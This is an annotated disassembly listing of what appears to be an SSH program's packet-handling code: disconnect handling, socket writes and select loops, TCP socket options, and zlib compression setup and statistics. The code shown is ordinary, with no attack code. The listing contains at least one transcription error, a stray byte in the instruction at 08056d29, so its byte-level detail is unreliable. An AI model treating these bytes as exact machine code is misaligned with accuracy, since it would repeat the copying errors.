0805679c  8d 9d f8 fb ff ff     lea    0xfffffbf8(%ebp),%ebx  ;-1032 'xf8 xfb xff xff' ""
080567a2  53                    push   %ebx
080567a3  e8 34 36 ff ff        call   08049ddc <vsnprintf>
080567a8  c7 04 24 24 00 00 00  movl   $0x24,(%esp,1)   ;36 'x24 x0 x0 x0' "$"
080567af  e8 60 f8 ff ff        call   08056014 <Unknown0138>
080567b4  59                    pop    %ecx
080567b5  5f                    pop    %edi
080567b6  fc                    cld
080567b7  31 c0                 xor    %eax,%eax
080567b9  89 df                 mov    %ebx,%edi
080567bb  b9 ff ff ff ff        mov    $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
080567c0  f2 ae                 repnz scas %es:(%edi),%al
080567c2  f7 d1                 not    %ecx
080567c4  49                    dec    %ecx
080567c5  51                    push   %ecx
080567c6  53                    push   %ebx
080567c7  e8 c0 f8 ff ff        call   0805608c <Unknown0142>
080567cc  e8 eb f8 ff ff        call   080560bc <Unknown0144>
080567d1  e8 26 01 00 00        call   080568fc <Unknown0159>
080567d6  8d 65 f8              lea    0xfffffff8(%ebp),%esp
080567d9  5b                    pop    %ebx
080567da  5f                    pop    %edi
080567db  5d                    pop    %ebp
080567dc  c3                    ret
080567dd  8d 76 00              lea    0x0(%esi),%esi


   ;
   ; >--------------------<  Subroutine # 157 >--------------------<
   ;
080567e0 <Unknown0157>:
080567e0  55                    push   %ebp
080567e1  89 e5                 mov    %esp,%ebp
080567e3  57                    push   %edi
080567e4  53                    push   %ebx
080567e5  8b 15 44 7e 07 08     mov    0x8077e44,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
080567eb  81 ec 00 04 00 00     sub    $0x400,%esp   ;1024 'x0 x4 x0 x0' ""
080567f1  85 d2                 test   %edx,%edx
080567f3  74 10                 je     08056805 <Unknown0157+0x25>
080567f5  83 ec 0c              sub    $0xc,%esp
080567f8  68 a0 12 07 08        push   $0x80712a0   ;[in .rodata] 1801675120 'x70 x61 x63 x6b'
                                                    "packet_disconnect called recursively."
080567fd  e8 5a 97 ff ff        call   0804ff5c <Unknown0044>
08056802  83 c4 10              add    $0x10,%esp
08056805  8d 45 0c              lea    0xc(%ebp),%eax
08056808  50                    push   %eax
08056809  ff 75 08              pushl  0x8(%ebp)
0805680c  8d 9d f8 fb ff ff     lea    0xfffffbf8(%ebp),%ebx  ;-1032 'xf8 xfb xff xff' ""
08056812  68 00 04 00 00        push   $0x400   ;1024 'x0 x4 x0 x0' ""
08056817  53                    push   %ebx
08056818  c7 05 44 7e 07 08 01 00 00 00  movl   $0x1,0x8077e44   ;1 'x1 x0 x0 x0' ""
08056822  e8 b5 35 ff ff        call   08049ddc <vsnprintf>
08056827  c7 04 24 01 00 00 00  movl   $0x1,(%esp,1)   ;1 'x1 x0 x0 x0' ""
0805682e  e8 e1 f7 ff ff        call   08056014 <Unknown0138>
08056833  5f                    pop    %edi
08056834  58                    pop    %eax
08056835  fc                    cld
08056836  31 c0                 xor    %eax,%eax
08056838  89 df                 mov    %ebx,%edi
0805683a  b9 ff ff ff ff        mov    $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805683f  f2 ae                 repnz scas %es:(%edi),%al
08056841  f7 d1                 not    %ecx
08056843  49                    dec    %ecx
08056844  51                    push   %ecx
08056845  53                    push   %ebx
08056846  e8 41 f8 ff ff        call   0805608c <Unknown0142>
0805684b  e8 6c f8 ff ff        call   080560bc <Unknown0144>
08056850  e8 a7 00 00 00        call   080568fc <Unknown0159>
08056855  e8 d6 29 00 00        call   08059230 <Unknown0200>
0805685a  e8 1d f5 ff ff        call   08055d7c <Unknown0131>
0805685f  5a                    pop    %edx
08056860  59                    pop    %ecx
08056861  53                    push   %ebx
08056862  68 c6 12 07 08        push   $0x80712c6   ;[in .rodata] 1633906508 'x4c x6f x63 x61' "Local:
                                                    %.100s"
08056867  e8 f0 96 ff ff        call   0804ff5c <Unknown0044>
0805686c  8d 65 f8              lea    0xfffffff8(%ebp),%esp
0805686f  5b                    pop    %ebx
08056870  5f                    pop    %edi
08056871  5d                    pop    %ebp
08056872  c3                    ret
08056873  90                    nop
```

```
   ;
   ; >----------------------<  Subroutine # 158 >----------------------<
   ;
08056874 <Unknown0158>:
08056874  55                    push    %ebp
08056875  89 e5                 mov     %esp,%ebp
08056877  53                    push    %ebx
08056878  83 ec 10              sub     $0x10,%esp
0805687b  68 64 bd 07 08        push    $0x807bd64  ;[in .bss] 117 'x75 x0 x0 x0' "u"
08056880  e8 c3 f1 ff ff        call    08055a48 <Unknown0119>
08056885  89 c3                 mov     %eax,%ebx
08056887  83 c4 10              add     $0x10,%esp
0805688a  85 db                 test    %ebx,%ebx
0805688c  7e 66                 jle     080568f4 <Unknown0158+0x80>
0805688e  50                    push    %eax
0805688f  53                    push    %ebx
08056890  51                    push    %ecx
08056891  68 64 bd 07 08        push    $0x807bd64  ;[in .bss] 117 'x75 x0 x0 x0' "u"
08056896  e8 71 f2 ff ff        call    08055b0c <Unknown0123>
0805689b  5b                    pop     %ebx
0805689c  5a                    pop     %edx
0805689d  50                    push    %eax
0805689e  ff 35 24 7e 07 08     pushl   0x8077e24  ;[in .data] -1 'xff xff xff xff' ""
080568a4  e8 03 34 ff ff        call    08049cac <write>
080568a9  89 c3                 mov     %eax,%ebx
080568ab  83 c4 10              add     $0x10,%esp
080568ae  85 db                 test    %ebx,%ebx
080568b0  7f 31                 jg      080568e3 <Unknown0158+0x6f>
080568b2  85 db                 test    %ebx,%ebx
080568b4  74 0a                 je      080568c0 <Unknown0158+0x4c>
080568b6  e8 81 35 ff ff        call    08049e3c <__errno_location>
080568bb  83 38 0b              cmpl    $0xb,(%eax)
080568be  74 34                 je      080568f4 <Unknown0158+0x80>
080568c0  83 ec 10              sub     $0x10,%esp
080568c3  e8 74 35 ff ff        call    08049e3c <__errno_location>
080568c8  59                    pop     %ecx
080568c9  ff 30                 pushl   (%eax)
080568cb  e8 1c 35 ff ff        call    08049dec <strerror>
080568d0  83 c4 0c              add     $0xc,%esp
080568d3  50                    push    %eax
080568d4  68 d4 12 07 08        push    $0x80712d4  ;[in .rodata] 1953067607 'x57 x72 x69 x74' "Write
                                                     failed: %.100s"
080568d9  6a 01                 push    $0x1
080568db  e8 10 97 ff ff        call    0804fff0 <Unknown0045>
080568e0  83 c4 10              add     $0x10,%esp
080568e3  83 ec 08              sub     $0x8,%esp
080568e6  53                    push    %ebx
080568e7  68 64 bd 07 08        push    $0x807bd64  ;[in .bss] 117 'x75 x0 x0 x0' "u"
080568ec  e8 ab f1 ff ff        call    08055a9c <Unknown0121>
080568f1  83 c4 10              add     $0x10,%esp
080568f4  8b 5d fc              mov     0xfffffffc(%ebp),%ebx
080568f7  c9                    leave
080568f8  c3                    ret
080568f9  8d 76 00              lea     0x0(%esi),%esi


   ;
   ; >----------------------<  Subroutine # 159 >----------------------<
   ;
080568fc <Unknown0159>:
080568fc  55                    push    %ebp
080568fd  89 e5                 mov     %esp,%ebp
080568ff  57                    push    %edi
08056900  56                    push    %esi
08056901  53                    push    %ebx
08056902  81 ec 8c 00 00 00     sub     $0x8c,%esp  ;140 'x8c x0 x0 x0' ""
08056908  be 20 00 00 00        mov     $0x20,%esi  ;32 'x20 x0 x0 x0' " "
0805690d  e8 62 ff ff ff        call    08056874 <Unknown0158>
08056912  8d 9d 68 ff ff ff     lea     0xffffff68(%ebp),%ebx  ;-152 'x68 xff xff xff' "h"
08056918  eb 3b                 jmp     08056955 <Unknown0159+0x59>
0805691a  89 f6                 mov     %esi,%esi
0805691c  89 f1                 mov     %esi,%ecx
0805691e  89 df                 mov     %ebx,%edi
08056920  31 c0                 xor     %eax,%eax
08056922  fc                    cld
08056923  f3 ab                 repz stos %eax,%es:(%edi)
08056925  8b 15 24 7e 07 08     mov     0x8077e24,%edx  ;[in .data] -1 'xff xff xff xff' ""
0805692b  89 d0                 mov     %edx,%eax
0805692d  83 e0 1f              and     $0x1f,%eax
08056930  c1 ea 05              shr     $0x5,%edx
08056933  0f ab 04 93           bts     %eax,(%ebx,%edx,4)
08056937  83 ec 0c              sub     $0xc,%esp
```

```
0805693a  6a 00                 push     $0x0
0805693c  6a 00                 push     $0x0
0805693e  53                    push     %ebx
0805693f  a1 24 7e 07 08        mov      0x8077e24,%eax   ;[in .data] -1 'xff xff xff xff' ""
08056944  6a 00                 push     $0x0
08056946  40                    inc      %eax
08056947  50                    push     %eax
08056948  e8 6f 34 ff ff        call     08049dbc <select>
0805694d  83 c4 20              add      $0x20,%esp
08056950  e8 1f ff ff ff        call     08056874 <Unknown0158>
08056955  e8 0e 00 00 00        call     08056968 <Unknown0160>
0805695a  85 c0                 test     %eax,%eax
0805695c  75 be                 jne      0805691c <Unknown0159+0x20>
0805695e  8d 65 f4              lea      0xfffffff4(%ebp),%esp
08056961  5b                    pop      %ebx
08056962  5e                    pop      %esi
08056963  5f                    pop      %edi
08056964  5d                    pop      %ebp
08056965  c3                    ret
08056966  89 f6                 mov      %esi,%esi


  ;
  ; >--------------------< Subroutine # 160 >--------------------<
  ;
08056968 <Unknown0160>:
08056968  55                    push     %ebp
08056969  89 e5                 mov      %esp,%ebp
0805696b  83 ec 14              sub      $0x14,%esp
0805696e  68 64 bd 07 08        push     $0x807bd64   ;[in .bss] 117 'x75 x0 x0 x0' "u"
08056973  e8 d0 f0 ff ff        call     08055a48 <Unknown0119>
08056978  89 c2                 mov      %eax,%edx
0805697a  83 c4 10              add      $0x10,%esp
0805697d  31 c0                 xor      %eax,%eax
0805697f  85 d2                 test     %edx,%edx
08056981  0f 95 c0              setne    %al
08056984  c9                    leave
08056985  c3                    ret
08056986  89 f6                 mov      %esi,%esi


  ;
  ; >--------------------< Subroutine # 161 >--------------------<
  ;
08056988 <Unknown0161>:
08056988  55                    push     %ebp
08056989  89 e5                 mov      %esp,%ebp
0805698b  8b 15 38 7e 07 08     mov      0x8077e38,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
08056991  83 ec 08              sub      $0x8,%esp
08056994  85 d2                 test     %edx,%edx
08056996  74 1c                 je       080569b4 <Unknown0161+0x2c>
08056998  83 ec 0c              sub      $0xc,%esp
0805699b  68 64 bd 07 08        push     $0x807bd64   ;[in .bss] 117 'x75 x0 x0 x0' "u"
080569a0  e8 a3 f0 ff ff        call     08055a48 <Unknown0119>
080569a5  89 c2                 mov      %eax,%edx
080569a7  83 c4 10              add      $0x10,%esp
080569aa  31 c0                 xor      %eax,%eax
080569ac  81 fa ff 3f 00 00     cmp      $0x3fff,%edx   ;16383 'xff x3f x0 x0' ""
080569b2  eb 1a                 jmp      080569ce <Unknown0161+0x46>
080569b4  83 ec 0c              sub      $0xc,%esp
080569b7  68 64 bd 07 08        push     $0x807bd64   ;[in .bss] 117 'x75 x0 x0 x0' "u"
080569bc  e8 87 f0 ff ff        call     08055a48 <Unknown0119>
080569c1  89 c2                 mov      %eax,%edx
080569c3  83 c4 10              add      $0x10,%esp
080569c6  31 c0                 xor      %eax,%eax
080569c8  81 fa ff ff 01 00     cmp      $0x1ffff,%edx   ;131071 'xff xff x1 x0' ""
080569ce  0f 96 c0              setbe    %al
080569d1  c9                    leave
080569d2  c3                    ret
080569d3  90                    nop


  ;
  ; >--------------------< Subroutine # 162 >--------------------<
  ;
080569d4 <Unknown0162>:
080569d4  55                    push     %ebp
080569d5  89 e5                 mov      %esp,%ebp
080569d7  8b 15 20 7e 07 08     mov      0x8077e20,%edx   ;[in .data] -1 'xff xff xff xff' ""
080569dd  53                    push     %ebx
080569de  83 ec 14              sub      $0x14,%esp
080569e1  3b 15 24 7e 07 08     cmp      0x8077e24,%edx   ;[in .data] -1 'xff xff xff xff' ""
080569e7  8b 5d 08              mov      0x8(%ebp),%ebx
080569ea  c7 45 f8 01 00 00 00  movl     $0x1,0xfffffff8(%ebp)   ;1 'x1 x0 x0 x0' ""
```

```
080569f1  c7 45 f4 00 00 00 00  movl   $0x0,0xfffffff4(%ebp)  ;0 'x0 x0 x0 x0' ""
080569f8  89 1d 38 7e 07 08     mov    %ebx,0x8077e38  ;[in .data] 0 'x0 x0 x0 x0' ""
080569fe  0f 85 51 01 00 00     jne    08056b55 <Unknown0162+0x181>  ;337 'x51 x1 x0 x0' "Q"
08056a04  8b 4d 0c              mov    0xc(%ebp),%ecx
08056a07  85 c9                 test   %ecx,%ecx
08056a09  74 35                 je     08056a40 <Unknown0162+0x6c>
08056a0b  83 ec 0c              sub    $0xc,%esp
08056a0e  6a 04                 push   $0x4
08056a10  8d 45 f8              lea    0xfffffff8(%ebp),%eax
08056a13  50                    push   %eax
08056a14  6a 09                 push   $0x9
08056a16  6a 01                 push   $0x1
08056a18  52                    push   %edx
08056a19  e8 2e 36 ff ff        call   0804a04c <setsockopt>
08056a1e  83 c4 20              add    $0x20,%esp
08056a21  85 c0                 test   %eax,%eax
08056a23  79 55                 jns    08056a7a <Unknown0162+0xa6>
08056a25  83 ec 10              sub    $0x10,%esp
08056a28  e8 0f 34 ff ff        call   08049e3c <__errno_location>
08056a2d  5a                    pop    %edx
08056a2e  ff 30                 pushl  (%eax)
08056a30  e8 b7 33 ff ff        call   08049dec <strerror>
08056a35  5a                    pop    %edx
08056a36  59                    pop    %ecx
08056a37  50                    push   %eax
08056a38  68 00 13 07 08        push   $0x8071300  ;[in .rodata] 1937007987 'x73 x65 x74 x73' "setsockopt
                                                    SO_KEEPALIVE: %.100s"
08056a3d  eb 33                 jmp    08056a72 <Unknown0162+0x9e>
08056a3f  90                    nop
08056a40  83 ec 0c              sub    $0xc,%esp
08056a43  6a 04                 push   $0x4
08056a45  8d 45 f4              lea    0xfffffff4(%ebp),%eax
08056a48  50                    push   %eax
08056a49  6a 09                 push   $0x9
08056a4b  6a 01                 push   $0x1
08056a4d  52                    push   %edx
08056a4e  e8 f9 35 ff ff        call   0804a04c <setsockopt>
08056a53  83 c4 20              add    $0x20,%esp
08056a56  85 c0                 test   %eax,%eax
08056a58  79 20                 jns    08056a7a <Unknown0162+0xa6>
08056a5a  83 ec 10              sub    $0x10,%esp
08056a5d  e8 da 33 ff ff        call   08049e3c <__errno_location>
08056a62  59                    pop    %ecx
08056a63  ff 30                 pushl  (%eax)
08056a65  e8 82 33 ff ff        call   08049dec <strerror>
08056a6a  59                    pop    %ecx
08056a6b  5a                    pop    %edx
08056a6c  50                    push   %eax
08056a6d  68 20 13 07 08        push   $0x8071320  ;[in .rodata] 1937007987 'x73 x65 x74 x73' "setsockopt
                                                    SO_KEEPALIVE off: %.100s"
08056a72  e8 91 93 ff ff        call   0804fe08 <Unknown0040>
08056a77  83 c4 10              add    $0x10,%esp
08056a7a  85 db                 test   %ebx,%ebx
08056a7c  74 52                 je     08056ad0 <Unknown0162+0xfc>
08056a7e  83 ec 0c              sub    $0xc,%esp
08056a81  6a 04                 push   $0x4
08056a83  8d 45 f0              lea    0xfffffff0(%ebp),%eax
08056a86  50                    push   %eax
08056a87  6a 01                 push   $0x1
08056a89  6a 00                 push   $0x0
08056a8b  ff 35 20 7e 07 08     pushl  0x8077e20  ;[in .data] -1 'xff xff xff xff' ""
08056a91  c7 45 f0 10 00 00 00  movl   $0x10,0xfffffff0(%ebp)  ;16 'x10 x0 x0 x0' ""
08056a98  e8 af 35 ff ff        call   0804a04c <setsockopt>
08056a9d  83 c4 20              add    $0x20,%esp
08056aa0  85 c0                 test   %eax,%eax
08056aa2  79 20                 jns    08056ac4 <Unknown0162+0xf0>
08056aa4  83 ec 10              sub    $0x10,%esp
08056aa7  e8 90 33 ff ff        call   08049e3c <__errno_location>
08056aac  5a                    pop    %edx
08056aad  ff 30                 pushl  (%eax)
08056aaf  e8 38 33 ff ff        call   08049dec <strerror>
08056ab4  59                    pop    %ecx
08056ab5  5b                    pop    %ebx
08056ab6  50                    push   %eax
08056ab7  68 60 13 07 08        push   $0x8071360  ;[in .rodata] 1937007987 'x73 x65 x74 x73' "setsockopt
                                                    IPTOS_LOWDELAY: %.100s"
08056abc  e8 47 93 ff ff        call   0804fe08 <Unknown0040>
08056ac1  83 c4 10              add    $0x10,%esp
08056ac4  83 ec 0c              sub    $0xc,%esp
08056ac7  6a 04                 push   $0x4
08056ac9  8d 45 f8              lea    0xfffffff8(%ebp),%eax
08056acc  eb 50                 jmp    08056b1e <Unknown0162+0x14a>
08056ace  89 f6                 mov    %esi,%esi
08056ad0  83 ec 0c              sub    $0xc,%esp
```

```
08056ad3   6a 04                    push    $0x4
08056ad5   8d 45 ec                 lea     0xffffffec(%ebp),%eax
08056ad8   50                       push    %eax
08056ad9   6a 01                    push    $0x1
08056adb   6a 00                    push    $0x0
08056add   ff 35 20 7e 07 08        pushl   0x8077e20   ;[in .data] -1 'xff xff xff xff' ""
08056ae3   c7 45 ec 08 00 00 00     movl    $0x8,0xffffffec(%ebp)   ;8 'x8 x0 x0 x0' ""
08056aea   e8 5d 35 ff ff           call    0804a04c <setsockopt>
08056aef   83 c4 20                 add     $0x20,%esp
08056af2   85 c0                    test    %eax,%eax
08056af4   79 20                    jns     08056b16 <Unknown0162+0x142>
08056af6   83 ec 10                 sub     $0x10,%esp
08056af9   e8 3e 33 ff ff           call    08049e3c <__errno_location>
08056afe   5a                       pop     %edx
08056aff   ff 30                    pushl   (%eax)
08056b01   e8 e6 32 ff ff           call    08049dec <strerror>
08056b06   59                       pop     %ecx
08056b07   5b                       pop     %ebx
08056b08   50                       push    %eax
08056b09   68 c0 13 07 08           push    $0x80713c0   ;[in .rodata] 1937007987 'x73 x65 x74 x73' "setsockopt
                                                          IPTOS_THROUGHPUT: %.100s"
08056b0e   e8 f5 92 ff ff           call    0804fe08 <Unknown0040>
08056b13   83 c4 10                 add     $0x10,%esp
08056b16   83 ec 0c                 sub     $0xc,%esp
08056b19   6a 04                    push    $0x4
08056b1b   8d 45 f4                 lea     0xfffffff4(%ebp),%eax
08056b1e   50                       push    %eax
08056b1f   6a 01                    push    $0x1
08056b21   6a 06                    push    $0x6
08056b23   ff 35 20 7e 07 08        pushl   0x8077e20   ;[in .data] -1 'xff xff xff xff' ""
08056b29   e8 1e 35 ff ff           call    0804a04c <setsockopt>
08056b2e   83 c4 20                 add     $0x20,%esp
08056b31   85 c0                    test    %eax,%eax
08056b33   79 20                    jns     08056b55 <Unknown0162+0x181>
08056b35   83 ec 10                 sub     $0x10,%esp
08056b38   e8 ff 32 ff ff           call    08049e3c <__errno_location>
08056b3d   5a                       pop     %edx
08056b3e   ff 30                    pushl   (%eax)
08056b40   e8 a7 32 ff ff           call    08049dec <strerror>
08056b45   59                       pop     %ecx
08056b46   5b                       pop     %ebx
08056b47   50                       push    %eax
08056b48   68 a0 13 07 08           push    $0x80713a0   ;[in .rodata] 1937007987 'x73 x65 x74 x73' "setsockopt
                                                          TCP_NODELAY: %.100s"
08056b4d   e8 b6 92 ff ff           call    0804fe08 <Unknown0040>
08056b52   83 c4 10                 add     $0x10,%esp
08056b55   8b 5d fc                 mov     0xfffffffc(%ebp),%ebx
08056b58   c9                       leave
08056b59   c3                       ret
08056b5a   89 f6                    mov     %esi,%esi


   ;
   ; >---------------------< Subroutine # 163 >---------------------<
   ;
08056b5c <Unknown0163>:
08056b5c   55                       push    %ebp
08056b5d   a1 38 7e 07 08           mov     0x8077e38,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
08056b62   89 e5                    mov     %esp,%ebp
08056b64   5d                       pop     %ebp
08056b65   c3                       ret
08056b66   89 f6                    mov     %esi,%esi


   ;
   ; >---------------------< Subroutine # 164 >---------------------<
   ;
08056b68 <Unknown0164>:
08056b68   55                       push    %ebp
08056b69   89 e5                    mov     %esp,%ebp
08056b6b   8b 45 08                 mov     0x8(%ebp),%eax
08056b6e   a3 3c 7e 07 08           mov     %eax,0x8077e3c   ;[in .data] 256000 'x0 xe8 x3 x0' ""
08056b73   5d                       pop     %ebp
08056b74   c3                       ret
08056b75   8d 76 00                 lea     0x0(%esi),%esi


   ;
   ; >---------------------< Subroutine # 165 >---------------------<
   ;
08056b78 <Unknown0165>:
08056b78   55                       push    %ebp
08056b79   a1 3c 7e 07 08           mov     0x8077e3c,%eax   ;[in .data] 256000 'x0 xe8 x3 x0' ""
08056b7e   89 e5                    mov     %esp,%ebp
```

```
08056b80  5d                        pop     %ebp
08056b81  c3                        ret
08056b82  89 f6                     mov     %esi,%esi


  ;
  ; >--------------------<  Subroutine # 166 >--------------------<
  ;
08056b84 <Unknown0166>:
08056b84  55                        push    %ebp
08056b85  89 e5                     mov     %esp,%ebp
08056b87  53                        push    %ebx
08056b88  83 ec 0c                  sub     $0xc,%esp
08056b8b  8b 5d 08                  mov     0x8(%ebp),%ebx
08056b8e  53                        push    %ebx
08056b8f  68 00 14 07 08            push    $0x8071400   ;[in .rodata] 1650552389 'x45 x6e x61 x62' "Enabling
                                                             compression at level %d."
08056b94  e8 e7 91 ff ff            call    0804fd80 <Unknown0039>
08056b99  8d 43 ff                  lea     0xffffffff(%ebx),%eax
08056b9c  83 c4 10                  add     $0x10,%esp
08056b9f  83 f8 08                  cmp     $0x8,%eax
08056ba2  76 11                     jbe     08056bb5 <Unknown0166+0x31>
08056ba4  83 ec 08                  sub     $0x8,%esp
08056ba7  53                        push    %ebx
08056ba8  68 22 14 07 08            push    $0x8071422   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad
                                                             compression level %d."
08056bad  e8 aa 93 ff ff            call    0804ff5c <Unknown0044>
08056bb2  83 c4 10                  add     $0x10,%esp
08056bb5  50                        push    %eax
08056bb6  6a 38                     push    $0x38
08056bb8  68 3c 14 07 08            push    $0x807143c   ;[in .rodata] 774909489 'x31 x2e x30 x2e' "1.0.4"
08056bbd  68 c0 bd 07 08            push    $0x807bdc0   ;[in .bss] 134519772 'xdc x9b x4 x8' ""
08056bc2  e8 fd 1e 01 00            call    08068ac4 <Unknown0430>
08056bc7  6a 38                     push    $0x38
08056bc9  68 3c 14 07 08            push    $0x807143c   ;[in .rodata] 774909489 'x31 x2e x30 x2e' "1.0.4"
08056bce  53                        push    %ebx
08056bcf  68 00 be 07 08            push    $0x807be00   ;[in .bss] 0 'x0 x0 x0 x0' ""
08056bd4  e8 ff eb 00 00            call    080657d8 <Unknown0381>
08056bd9  8b 5d fc                  mov     0xfffffffc(%ebp),%ebx
08056bdc  c9                        leave
08056bdd  c3                        ret
08056bde  89 f6                     mov     %esi,%esi


  ;
  ; >--------------------<  Subroutine # 167 >--------------------<
  ;
08056be0 <Unknown0167>:
08056be0  55                        push    %ebp
08056be1  89 e5                     mov     %esp,%ebp
08056be3  8b 0d 08 be 07 08         mov     0x807be08,%ecx  ;[in .bss] 1 'x1 x0 x0 x0' ""
08056be9  83 ec 14                  sub     $0x14,%esp
08056bec  85 c9                     test    %ecx,%ecx
08056bee  74 24                     je      08056c14 <Unknown0167+0x34>
08056bf0  31 d2                     xor     %edx,%edx
08056bf2  52                        push    %edx
08056bf3  a1 14 be 07 08            mov     0x807be14,%eax  ;[in .bss] 144832 'xc0 x35 x2 x0' ""
08056bf8  50                        push    %eax
08056bf9  df 2c 24                  fildll  (%esp,1)
08056bfc  31 d2                     xor     %edx,%edx
08056bfe  58                        pop     %eax
08056bff  a1 08 be 07 08            mov     0x807be08,%eax  ;[in .bss] 1 'x1 x0 x0 x0' ""
08056c04  89 14 24                  mov     %edx,(%esp,1)
08056c07  50                        push    %eax
08056c08  df 2c 24                  fildll  (%esp,1)
08056c0b  58                        pop     %eax
08056c0c  5a                        pop     %edx
08056c0d  de f9                     fdivrp  %st,%st(1)
08056c0f  eb 05                     jmp     08056c16 <Unknown0167+0x36>
08056c11  8d 76 00                  lea     0x0(%esi),%esi
08056c14  d9 ee                     fldz
08056c16  83 ec 08                  sub     $0x8,%esp
08056c19  dd 1c 24                  fstpl   (%esp,1)
08056c1c  ff 35 14 be 07 08         pushl   0x807be14  ;[in .bss] 144832 'xc0 x35 x2 x0' ""
08056c22  ff 35 08 be 07 08         pushl   0x807be08  ;[in .bss] 1 'x1 x0 x0 x0' ""
08056c28  68 60 14 07 08            push    $0x8071460  ;[in .rodata] 1886220131 'x63 x6f x6d x70' "compress
                                                            outgoing: raw data %lu, compressed %lu, factor %.2f"
08056c2d  e8 4e 91 ff ff            call    0804fd80 <Unknown0039>
08056c32  8b 15 d4 bd 07 08         mov     0x807bdd4,%edx  ;[in .bss] 4 'x4 x0 x0 x0' ""
08056c38  83 c4 14                  add     $0x14,%esp
08056c3b  85 d2                     test    %edx,%edx
08056c3d  74 21                     je      08056c60 <Unknown0167+0x80>
08056c3f  31 d2                     xor     %edx,%edx
08056c41  52                        push    %edx
```

```
08056c42   a1 c8 bd 07 08          mov      0x807bdc8,%eax   ;[in .bss] 2336 'x20 x9 x0 x0' " "
08056c47   50                      push     %eax
08056c48   df 2c 24                fildll   (%esp,1)
08056c4b   31 d2                   xor      %edx,%edx
08056c4d   58                      pop      %eax
08056c4e   a1 d4 bd 07 08          mov      0x807bdd4,%eax   ;[in .bss] 4 'x4 x0 x0 x0' ""
08056c53   89 14 24                mov      %edx,(%esp,1)
08056c56   50                      push     %eax
08056c57   df 2c 24                fildll   (%esp,1)
08056c5a   58                      pop      %eax
08056c5b   5a                      pop      %edx
08056c5c   de f9                   fdivrp   %st,%st(1)
08056c5e   eb 02                   jmp      08056c62 <Unknown0167+0x82>
08056c60   d9 ee                   fldz
08056c62   83 ec 08                sub      $0x8,%esp
08056c65   dd 1c 24                fstpl    (%esp,1)
08056c68   ff 35 c8 bd 07 08       pushl    0x807bdc8   ;[in .bss] 2336 'x20 x9 x0 x0' " "
08056c6e   ff 35 d4 bd 07 08       pushl    0x807bdd4   ;[in .bss] 4 'x4 x0 x0 x0' ""
08056c74   68 a0 14 07 08          push     $0x80714a0  ;[in .rodata] 1886220131 'x63 x6f x6d x70' "compress
                                             incoming: raw data %lu, compressed %lu, factor %.2f"
08056c79   e8 02 91 ff ff          call     0804fd80 <Unknown0039>
08056c7e   83 c4 14                add      $0x14,%esp
08056c81   68 c0 bd 07 08          push     $0x807bdc0  ;[in .bss] 134519772 'xdc x9b x4 x8' ""
08056c86   e8 d1 1c 01 00          call     0806895c <Unknown0428>
08056c8b   c7 04 24 00 be 07 08    movl     $0x807be00,(%esp,1)   ;[in .bss] 0 'x0 x0 x0 x0' ""
08056c92   e8 e1 f2 00 00          call     08065f78 <Unknown0389>
08056c97   c9                      leave
08056c98   c3                      ret
08056c99   8d 76 00                lea      0x0(%esi),%esi


   ;
   ; >---------------------<  Subroutine # 168 >---------------------<
   ;
08056c9c <Unknown0168>:
08056c9c   55                      push     %ebp
08056c9d   89 e5                   mov      %esp,%ebp
08056c9f   57                      push     %edi
08056ca0   56                      push     %esi
08056ca1   53                      push     %ebx
08056ca2   81 ec 18 10 00 00       sub      $0x1018,%esp   ;4120 'x18 x10 x0 x0' ""
08056ca8   8b 5d 08                mov      0x8(%ebp),%ebx
08056cab   53                      push     %ebx
08056cac   8b 7d 0c                mov      0xc(%ebp),%edi
08056caf   e8 94 ed ff ff          call     08055a48 <Unknown0119>
08056cb4   83 c4 10                add      $0x10,%esp
08056cb7   85 c0                   test     %eax,%eax
08056cb9   0f 84 d0 00 00 00       je       08056d8f <Unknown0168+0xf3>   ;208 'xd0 x0 x0 x0' ""
08056cbf   83 ec 0c                sub      $0xc,%esp
08056cc2   53                      push     %ebx
08056cc3   e8 44 ee ff ff          call     08055b0c <Unknown0123>
08056cc8   89 1c 24                mov      %ebx,(%esp,1)
08056ccb   a3 00 be 07 08          mov      %eax,0x807be00   ;[in .bss] 0 'x0 x0 x0 x0' ""
08056cd0   e8 73 ed ff ff          call     08055a48 <Unknown0119>
08056cd5   a3 04 be 07 08          mov      %eax,0x807be04   ;[in .bss] 143 'x8f x0 x0 x0' ""
08056cda   83 c4 10                add      $0x10,%esp
08056cdd   8d b5 e8 ef ff ff       lea      0xffffefe8(%ebp),%esi   ;-4120 'xe8 xef xff xff' ""
08056ce3   90                      nop
08056ce4   83 ec 08                sub      $0x8,%esp
08056ce7   6a 01                   push     $0x1
08056ce9   68 00 be 07 08          push     $0x807be00   ;[in .bss] 0 'x0 x0 x0 x0' ""
08056cee   89 35 0c be 07 08       mov      %esi,0x807be0c   ;[in .bss] 6 'x6 x0 x0 x0' ""
08056cf4   c7 05 10 be 07 08 00 10 00 00  movl  $0x1000,0x807be10   ;4096 'x0 x10 x0 x0' ""
08056cfe   e8 0d f0 00 00          call     08065d10 <Unknown0388>
08056d03   89 c3                   mov      %eax,%ebx
08056d05   83 c4 10                add      $0x10,%esp
08056d08   83 fb fe                cmp      $0xfffffffe,%ebx
08056d0b   74 43                   je       08056d50 <Unknown0168+0xb4>
08056d0d   83 fb fe                cmp      $0xfffffffe,%ebx
08056d10   7f 0a                   jg       08056d1c <Unknown0168+0x80>
08056d12   83 fb fb                cmp      $0xfffffffb,%ebx
08056d15   74 49                   je       08056d60 <Unknown0168+0xc4>
08056d17   eb 57                   jmp      08056d70 <Unknown0168+0xd4>
08056d19   8d 76 00                lea      0x0(%esi),%esi
08056d1c   85 db                   test     %ebx,%ebx
08056d1e   74 08                   je       08056d28 <Unknown0168+0x8c>
08056d20   83 fb 01                cmp      $0x1,%ebx
08056d23   74 1b                   je       08056d40 <Unknown0168+0xa4>
08056d25   eb 49                   jmp      08056d70 <Unknown0168+0xd4>
08056d27   90                      nop
08056d28   50                      push     %eax
08056d29   b8 00 00 10 00 00       mov      $0x1000,%eax   ;4096 'x0 x10 x0 x0' ""
08056d2e   2b 05 10 be 07 08       sub      0x807be10,%eax   ;[in .bss] 134657472 'xc0 xb5 x6 x8' ""
08056d34   50                      push     %eax
```

```
08056d35   56                        push    %esi
08056d36   57                        push    %edi
08056d37   e8 48 ec ff ff            call    08055984 <Unknown0117>
